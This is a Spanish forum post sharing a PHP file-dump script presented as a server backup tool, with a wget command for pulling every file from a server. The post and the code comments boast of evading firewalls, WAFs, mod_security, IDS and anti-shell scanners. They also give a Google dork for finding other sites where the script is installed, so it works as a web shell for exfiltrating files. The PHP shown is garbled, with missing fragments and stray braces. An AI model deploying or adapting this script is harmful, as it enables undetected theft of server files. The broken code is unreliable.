Hola, hace unos 3 o 4 años atrás hice un script en php, lo que hace es disponerse para hacer un respaldo de todos los archivos del servidor sin tener las limitaciones de tamaño.
¿Cómo funciona?
* No comprime para descargar un solo comprimido, esto previene el uso de disco cuando hay poco espacio.
* Descargar archivo por archivo de manera recursiva, esto previene problemas de termino de ejecución por tiempo fuera cuando el archivo es muy grande.
* Utiliza streaming byte por byte, esto previene el uso desmedido de memoria ram cuando necesitas descargar archivos muy grandes.
* No es detectado por la mayoría de los Firewalls o WAF, gracias a que utiliza enlaces permanentes de apache, así previene el envío de parámetros.
¿Cómo lo ejecuto?
Primeramente, subes el script a un servidor web, por ejemplo http://example.com/w.filebackup.php , ahora cuando veas el script desde el navegador se verá igual que la navegación de archivos de apache, con la diferencia de que no interpretará nada, solo descargará. Ahora, basta con realizar una descarga recursiva con wget y tendrás la descarga de todo el servidor:
Código:
wget -r -x -nH -np --cut-dirs=1 --no-check-certificate --post-data 'token=1' -e robots=off -U 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02011-10-16' http://example.com/w.filebackup.php
Enjoy y Feliz Abril Negro!
Código
<?php /* w.filebackup.php V1.0 for Administrators by WHK * * Email: whk@elhacker.net * Website: http://whk.elhacker.net/ * * Uso Bash: * -------- * mkdir page && cd page * wget -r -x -nH -np --cut-dirs=1 --no-check-certificate --post-data 'token=1' -e robots=off -U 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02011-10-16' http://example.com/w.filebackup.php * rm -rf w.filebackup.php* * * Uso WEB: * -------- * http://web.page/w.filebackup.php * * Al enviar la variable "token" via HTTP/POST restringe la visualización * de los directorios hasta la ruta actual del script, esto evita que el * respaldo salga fuera del directorio planeado y cause una sobrecarga. * Solo utilizar sin esta variable en caso de querer hacer una backup * extrema con mucho tiempo libre. * * GoogleDork: * ---------- * inurl:".php?do=/" + intitle:"index of" * * Legal: * ----- * Uso esclusivo sobre servidores propios, nunca utilizar en servidores sin el consentimiento del administrador. * El usuario es totalmente responsable de su utilización. * En caso de no aceptar este acuerdo no debe ser utilizado. * * Compatible: * ---------- * Este Script es compatible con servidores con safe mode en ON, servidores sin * zlib, sin gz, servidores que no tienen acceso a la shell del sistema, servdiores * con mod evasive y mod security, servdiores con firewalls y Antivirus antiShells. * No se asegura su funcionalidad al 100% debido a posibles reglas de protección que * impidan su normal funcionamiento. */ /* Procesa el archivo */ /* Obtiene el tipo MIME */ } if(!$type) $mime = 'application/force-download'; /* Establece las cabeceras */ /* Hacia el infinito y mas allá! */ /* readfile($getPath); que sucede cuando el archivo es mas grande que * la capacidad de memoria ram asignada en php.ini como un iso, un gz * con una backup de cpanel o un video? */ /* utiliza bloques de 4kb en modo binario para no corromper el * contenido a descargar y evitar el uso desmedido de la memoria ram * y evitar el activado de alarmas de IDS y Firewalls */ echo $buffer; } exit; /* Procesa el directorio */ $absolutePath = $getPath; /* Si no es archivo ni directorio que es? */ }else /* 404 */ $err = 'File not found or access denied ( '.$getPath.' ).'; } /* Utiliza variables que no sean tan fáciles de incluir en un * mod security o alguna regla del firewall (do es utilizado * por vbulletin). */ $absolutePath = $_GET['do']; /* Restringe la URL si se solicita */ ); // if($items['glob'] = glob($absolutePath.'*')){ glob() no encuentra los archivos ocultos como .htaccess foreach($items['glob'] as $item){ $items['folders'][] = $absolutePath.$item.'/'; else $items['files'][] = $absolutePath.$item; } } } ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <html> <head> </head> <body> <?php } ?> <ul> <li> </li> <?php } ?> <?php if($items['files']){ ?> <?php foreach($items['files'] as $file){ ?> <li> <a href="<?php echo $_SERVER['SCRIPT_NAME'].$file; ?>"> <?php echo htmlspecialchars(basename($file), ENT_QUOTES); ?></a> </li> <?php } ?> <?php } ?> <?php if($items['folders']){ ?> <?php foreach($items['folders'] as $folder){ ?> <li> <a href="<?php echo $_SERVER['SCRIPT_NAME'].'?do='.urlencode($folder); ?>"><?php echo htmlspecialchars(basename($folder), ENT_QUOTES); ?>/</a> </li> <?php } ?> <?php } ?> </ul> <address> Port <?php echo (int)$_SERVER['SERVER_PORT']; ?> </address> </body> </html> <?php /* Evita la ejecución arbitraria por un LFI o <preppendfile> */ exit;
Mirror: https://github.com/WHK102/w.filebackup/blob/master/w.filebackup.php